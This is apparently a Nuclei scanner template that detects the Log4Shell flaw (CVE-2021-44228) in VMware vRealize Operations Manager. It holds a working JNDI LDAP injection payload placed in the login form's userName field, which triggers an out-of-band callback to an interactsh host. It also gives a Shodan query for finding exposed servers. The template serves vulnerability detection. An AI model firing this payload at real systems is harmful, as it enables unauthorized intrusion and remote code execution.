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id : vmware-operation-manager-log4j
info :
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name : VMware Operations Manager - Remote Code Execution (Apache Log4j)
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author : DhiyaneshDK
severity : critical
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description : VMware Operations Manager is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
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reference :
- https://www.vmware.com/security/advisories/VMSA-2021-0028.html
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- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10
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cve-id : CVE-2021-44228
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cwe-id : CWE-77
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cpe : cpe:2.3:a:vmware:vrealize_operations_manager:*:*:*:*:*:*:*:*
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metadata :
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verified : true
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max-request : 1
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shodan-query : title:"vRealize Operations Manager"
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product : vrealize_operations_manager
vendor : vmware
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tags : cve,cve2021,rce,jndi,log4j,vmware,kev,oast
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variables :
rand1 : '{{rand_int(111, 999)}}'
rand2 : '{{rand_int(111, 999)}}'
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http :
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- raw :
- |
POST /ui/login.action HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With : XMLHttpRequest
Origin : {{BaseURL}}
Referer : {{BaseURL}}/ui/login.action
Sec-Fetch-Dest : empty
Sec-Fetch-Mode : cors
Sec-Fetch-Site : same-origin
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mainAction=login&userName=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}&password=admin&authSourceId=localItem&authSourceName=Local%20Users&authSourceType=LOCAL&forceLogin=&timezone=330&languageCode=us
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matchers-condition : and
matchers :
- type : word
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part : interactsh_protocol # Confirms the DNS Interaction
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words :
- "dns"
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- type : word
part : header
words :
- 'Path=/ui'
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- type : regex
part : interactsh_request
regex :
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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extractors :
- type : kval
kval :
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- interactsh_ip
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- type : regex
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part : interactsh_request
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group : 2
regex :
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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- type : regex
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part : interactsh_request
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group : 1
regex :
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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# digest: 4a0a004730450220529d44c3600ebb232bd96eb2b1ee6d8dc2b5d6a1b53eb82d288eb36c95762868022100f61d5e2cb996bdb62d91108ab5d1a4671df50fdd326a5809cceba3051526a116:922c64590222798bb761d5b6d8e72950